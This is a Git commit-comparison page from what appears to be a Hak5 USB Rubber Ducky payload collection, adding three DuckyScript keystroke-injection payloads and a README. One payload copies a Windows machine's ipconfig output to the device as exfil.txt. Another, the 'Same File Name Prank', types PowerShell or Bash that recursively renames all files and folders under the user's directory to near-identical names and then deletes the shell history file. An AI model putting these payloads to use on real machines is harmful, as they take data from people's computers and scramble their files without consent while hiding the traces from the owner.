Compare commits

...

12 Commits

Author SHA1 Message Date
Mavis Coffey 29ca18d648
Merge cf0c83d37c into adb9af43f8 2024-09-24 15:48:32 -04:00
Peaks adb9af43f8
Merge pull request #482 from aleff-github/patch-94
Same File Name Prank
2024-09-24 15:48:16 -04:00
Aleff 3cf199170c Update payload 2024-09-21 09:41:51 +02:00
Mavis Coffey cf0c83d37c
Update and rename Resolution_Prank.txt to payload.txt
Changed author name to my username rather than real name. Changed payload file name to payload.txt
2024-09-20 08:30:00 -07:00
Mavis Coffey 8293bf5d4d
Update payload.txt
Changed author comment to display my username rather than my real name
2024-09-20 08:28:44 -07:00
Mavis Coffey 6ad0b7836c
Create payload.txt
Added IP-Out Ducky payload
2024-09-20 08:25:58 -07:00
Aleff d934d9d4de
removed a debug print 2024-09-18 19:31:24 +02:00
Aleff f031b928a8
Simple shifts in comments 2024-09-18 19:28:22 +02:00
Aleff bb89731ae2
Update payload.txt 2024-09-18 19:27:12 +02:00
Aleff 9c4257edbd Update README.md 2024-09-18 19:22:27 +02:00
Aleff d3e494fd12 Rename Everything Similarly
This script, titled **Rename Everything Similarly**, is written in **DuckyScript 3.0** and designed to rename files and directories recursively on **Windows** or **Linux** systems, depending on the target environment. The script renames directories and files within a specified directory, giving them sequential and similar names.

Specifically, the ability to add a blank space to the end of the name is used. On Windows systems, if file extension viewing is not enabled the names will look identical to the human eye, while on GNU/Linux systems the difference may be more easily noticed.

![No extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/1.png?raw=true)

> How does renaming files using spaces without seeing the extension appear on windows. - To the human eye they look identical.

![With extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/2.png?raw=true)

> What it looks like instead if you turn on the extension view.
2024-09-18 19:21:22 +02:00
mavisinator30001 8073d4d9cd
Create Resolution_Prank.txt
Added Resolution_Prank folder and related payload into said folder
2024-09-18 07:30:59 -07:00
4 changed files with 420 additions and 0 deletions

View File

@ -0,0 +1,21 @@
REM Title: IP-Out
REM Author: Mavisinator30001
REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB
REM Target: Any Windows System
REM DISCLAIMER!!! Neither I, nor Hack5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY
ATTACKMODE HID STORAGE
DELAY 500
GUI r
DELAY 300
STRING Powershell
ENTER
DELAY 1000
STRING ipconfig | Out-File -Filepath D:\exfil.txt -Encoding utf8
ENTER
WAIT_FOR_STORAGE_ACTIVITY
WAIT_FOR_STORAGE_INACTIVITY
ALT F4
ATTACKMODE OFF
REM And should the attacker want to make sure the payload was successful:
WAIT_FOR_BUTTON_PRESS
ATTACKMODE STORAGE

View File

@ -0,0 +1,59 @@
REM TITLE Resolution Prank
REM AUTHOR Mavisinator30001
REM TARGET Any system running Windows 10/11
REM DESCRIPTION Go into Windows settings and change the screen resolution. When finished, toggle caps to change display back
LED_G
DELAY 500
CTRL GUI d
DELAY 500
GUI i
DELAY 2000
STRING display
ENTER
DELAY 2500
TAB
ENTER
DELAY 200
REPEAT 8 TAB
ENTER
VAR $CAPS_STATE = $_CAPSLOCK_ON
WHILE ($CAPS_STATE == $_CAPSLOCK_ON)
HOLD DOWN
DELAY 1000
RELEASE DOWN
ENTER
DELAY 200
LEFT
DELAY 200
ENTER
REM WHEN FINISHED WITH THE FIRST PART OF THE PAYLOAD DUCK WILL FLASH LED
VAR $LIGHT_UP_TIMES = 20
WHILE ($LIGHT_UP_TIMES > 0)
LED_G
DELAY 300
LED_OFF
DELAY 300
LED_R
DELAY 300
LED_OFF
DELAY 300
$LIGHT_UP_TIMES = $LIGHT_UP_TIMES - 1
END_WHILE
WAIT_FOR_CAPS_CHANGE
END_WHILE
DELAY 300
REPEAT 12 TAB
ENTER
DELAY 200
HOLD UP
DELAY 1000
RELEASE UP
ENTER
DELAY 200
LEFT
ENTER
DELAY 1000
ALT F4
DELAY 200
CTRL GUI F4

View File

@ -0,0 +1,118 @@
# Same File Name Prank
This script, titled **Rename Everything Similarly**, is written in **DuckyScript 3.0** and designed to rename files and directories recursively on **Windows** or **GNU/Linux** systems, depending on the target environment. The script renames directories and files within a specified directory, giving them sequential and similar names.
Specifically, the ability to add a blank space to the end of the name is used. On Windows systems, if file extension viewing is not enabled the names will look identical to the human eye, while on GNU/Linux systems the difference may be more easily noticed.
![No extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/1.png?raw=true)
> How does renaming files using spaces without seeing the extension appear on windows. - To the human eye they look identical.
![With extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/2.png?raw=true)
> What it looks like instead if you turn on the extension view.
# Index
1. [Features](#features)
2. [Payload Structure](#payload-structure)
- [Conditional Target OS Execution](#conditional-target-os-execution)
- [PowerShell (Windows)](#powershell-windows)
- [Bash (GNU/Linux)](#bash-gnulinux)
3. [How to Use](#how-to-use)
4. [Why not MacOS?](#why-not-macos)
5. [Notes](#notes)
6. [Credits](#credits)
## Features
- **Cross-platform support**: The script can be executed on either **Windows** or **GNU/Linux** systems, based on the defined conditions, unfortunately it could not be published for macOS as well, [read more](#why-not-macos).
- **Recursive renaming**: It renames all directories and files inside a given directory, iterating through subdirectories.
- **Customizable**: Users can modify the base directory path and rename pattern as needed.
## Payload Structure
### Conditional Target OS Execution
The script detects (*from the DEFINE*) the target OS and adapts to either **Windows** or **GNU/Linux**:
- If the target system is **Windows**, the script will execute a PowerShell script.
- If the target system is **Linux**, it will execute a Bash script.
### PowerShell (Windows)
For **Windows** systems, the script:
- Opens **PowerShell** and runs the `Rename-Directories` and `Rename-Files` functions.
- It renames directories by assigning sequential names like `d`, `dd`, etc., and files with names like `a`, `a `, `a `, followed by their respective file extensions.
### Bash (GNU/Linux)
For **GNU/Linux** systems, the script:
- Opens a terminal and executes two Bash functions: `rename_directories` and `rename_files`.
- It performs similar renaming of directories and files, using `mv` to rename them with sequential names (like `d`, `dd`, etc... or `a`, `a `, `a ` etc...).
## How to Use
1. **Edit Definitions (*not mandatory, Windows by default*)**: Adjust the following definitions in the script according to your environment:
- `DEFINE #TARGET_WINDOWS TRUE`: Leave **#TARGET_WINDOWS** to **TRUE** if the script will run on a Windows system.
- `DEFINE #TARGET_GNU_LINUX FALSE`: Set **TARGET_LINUX** to **TRUE** if the script will run on a GNU/Linux system.
- Ufortunately it could not be published for macOS as well, [read more](#why-not-macos).
- `#DIRECTORY_WHERE_TO_RUN_THE_COMMAND`: Specify the base directory where the renaming operation should occur, the default is `.` so the default route of Powershell and Bash.
Consider that the main route for Windows generally is `C:\Users\Username\` while for GNU/Linux systems it is something like `/home/username/` but in both cases if for istance you add `./Desktop/Hello/World/` you will go to the World folder in the path `C:\Users\Username\Desktop\Hello\World\` for Windows systems and `/home/username/Desktop/Hello/World/`.
Of course, you have to make sure that this folder exists....
![Windows command](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/3.png?raw=true)
> How Windows response to the command `cd ./Desktop/Hello/World/`
![Ubuntu command](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/4.png?raw=true)
> How Ubuntu response to the command `cd ./Desktop/Hello/World/`
Consider the maximum length of file names on both Windows and GNU/Linux:
- [Limit on file name length in bash \[closed\]](https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash)
|=> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash
- [On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)](https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap)
|=> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap
2. **Load Payload**: Upload the script to a USB Rubber Ducky device using the **DuckEncoder**.
3. **Execute Payload**: Insert the USB Rubber Ducky into the target machine.
## Why not MacOS?
I am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.
If I could know the behavior of this script on macOS (*which probably remains completely unchanged from use on GNU/Linux systems*) it could be optimized in that it could be reduced to a **WINDOWS_PASSIVE_DETECT** where if it is not Windows (*so generally GNU/Linux or macOS systems*) the bash script may be fine.
## Notes
- Ensure that the specified directories exist on the target machine.
- Use with caution on sensitive systems, as the renaming process is recursive and may affect large directories.
- Contributions to add support for macOS are welcome.
## Credits
<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>

View File

@ -0,0 +1,222 @@
REM_BLOCK
#############################################
# #
# Title : Same File Name Prank #
# Author : Aleff #
# Version : 1.0 #
# Category : Prank #
# Target : Windows 10/11; GNU/Linux #
# #
#############################################
END_REM
REM I am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.
REM %%%%% DEFINE-SECTION %%%%%
REM_BLOCK
Consider that the main route for Windows generally is “C:\Users\Username\” while for GNU/Linux systems it is something like “/home/username/” but in both cases if for example you add “./Desktop/Hello/World/” you will go to the World folder in the path “C:\Users\Username\Desktop\Hello\World\” for Windows systems and “/home/username/Desktop/Hello/World/” for **GNU/Linux** systems.
Of course, you have to make sure that this folder exists....
Payload Settings:
#DIRECTORY_WHERE_TO_RUN_THE_COMMAND - If you feel it is appropriate to run this script within a specific folder you will just need to change this definition.
Consider the maximum length of file names on both Windows and GNU/Linux:
- Limit on file name length in bash [closed]
|-> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash
- On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)
|-> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap
END_REM
DEFINE #DIRECTORY_WHERE_TO_RUN_THE_COMMAND .
REM Set TARGET_WINDOWS to TRUE if the script will run on a Windows system.
REM Set TARGET_LINUX to TRUE if the script will run on a GNU/Linux system.
DEFINE #TARGET_WINDOWS TRUE
DEFINE #TARGET_GNU_LINUX FALSE
REM %%%%% PAYLOAD-SECTION %%%%%
IF (( #TARGET_WINDOWS == TRUE) && (#TARGET_GNU_LINUX == FALSE)) THEN
REM %%%%% WINDOWS CODE %%%%%
REM_BLOCK
Credits: Hak5 LLC
Website: https://hak5.org/
Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt
END_REM
EXTENSION PASSIVE_WINDOWS_DETECT
REM VERSION 1.1
REM AUTHOR: Korben
REM_BLOCK DOCUMENTATION
Windows fully passive OS Detection and passive Detect Ready
Includes its own passive detect ready.
Does not require additional extensions.
USAGE:
Extension runs inline (here)
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
boot delay
$_OS will be set to WINDOWS or NOT_WINDOWS
See end of payload for usage within payload
END_REM
REM CONFIGURATION:
DEFINE #MAX_WAIT 150
DEFINE #CHECK_INTERVAL 20
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
DEFINE #NOT_WINDOWS 7
$_OS = #NOT_WINDOWS
VAR $MAX_TRIES = #MAX_WAIT
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
DELAY #CHECK_INTERVAL
$MAX_TRIES = ($MAX_TRIES - 1)
END_WHILE
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
$_OS = WINDOWS
END_IF
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
IF ($_OS == WINDOWS) THEN
STRING HELLO WINDOWS!
ELSE
STRING HELLO WORLD!
END_IF
END_REM
END_EXTENSION
GUI r
DELAY 1000
STRINGLN PowerShell
DELAY 1000
STRINGLN_POWERSHELL
cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND
function Rename-Directories {
param (
[string]$path,
[ref]$counter
)
$folders = Get-ChildItem -Path $path -Directory -Recurse | Sort-Object FullName -Descending
foreach ($folder in $folders) {
$newFolderName = "d" * $counter.Value # Crea il nuovo nome della cartella
$newFolderPath = $newFolderName
$counter.Value++
Rename-Item -Path $folder.FullName -NewName $newFolderPath
Write-Host "Rinominata cartella: $($folder.FullName) -> $($newFolderPath)"
}
}
function Rename-Files {
param (
[string]$path,
[ref]$counter
)
$files = Get-ChildItem -Path $path -File -Recurse
foreach ($file in $files) {
$newFileName = "a" + " " * $counter.Value # Crea il nuovo nome del file
$newFilePath = "$newFileName" + $file.Extension
$counter.Value++
Rename-Item -Path $file.FullName -NewName $newFilePath
}
}
$counter = 1; Rename-Directories -path $basePath -counter ([ref]$counter); $counter = 1; Rename-Files -path $basePath -counter ([ref]$counter); Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
END_STRINGLN
ELSE IF (( #TARGET_WINDOWS == FALSE) && (#TARGET_GNU_LINUX == TRUE)) THEN
REM %%%%% GNU/LINUX CODE %%%%%
REM_BLOCK
Credits: Hak5 LLC
Website: https://hak5.org/
Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/detect_ready.txt
END_REM
EXTENSION DETECT_READY
REM VERSION 1.1
REM AUTHOR: Korben
REM_BLOCK DOCUMENTATION
USAGE:
Extension runs inline (here)
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
boot delay
TARGETS:
Any system that reflects CAPSLOCK will detect minimum required delay
Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
END_REM
REM CONFIGURATION:
DEFINE #RESPONSE_DELAY 25
DEFINE #ITERATION_LIMIT 120
VAR $C = 0
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
CAPSLOCK
DELAY #RESPONSE_DELAY
$C = ($C + 1)
END_WHILE
CAPSLOCK
END_EXTENSION
CTRL-ALT t
DELAY 1000
STRINGLN_BASH
cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND
rename_directories() {
local path=$1
local counter=$2
directories=$(find "$path" -type d | sort -r)
for dir in $directories; do
new_folder_name=$(printf 'd%.0s' $(seq 1 "$counter")) # Crea il nuovo nome della cartella
new_folder_path="$path/$new_folder_name"
counter=$((counter + 1))
mv "$dir" "$new_folder_path"
done
}
rename_files() {
local path=$1
local counter=$2
files=$(find "$path" -type f)
for file in $files; do
extension="${file##*.}"
new_file_name="a$(printf ' %.0s' $(seq 1 "$counter"))"
new_file_path="$(dirname "$file")/$new_file_name"
if [[ "$extension" != "$file" ]]; then
new_file_path="$new_file_path.$extension"
fi
counter=$((counter + 1))
mv "$file" "$new_file_path"
done
}
counter=1; rename_directories "$base_path" $counter; counter=1; rename_files "$base_path" $counter; rm $HISTFILE; exit
END_STRINGLN
END_IF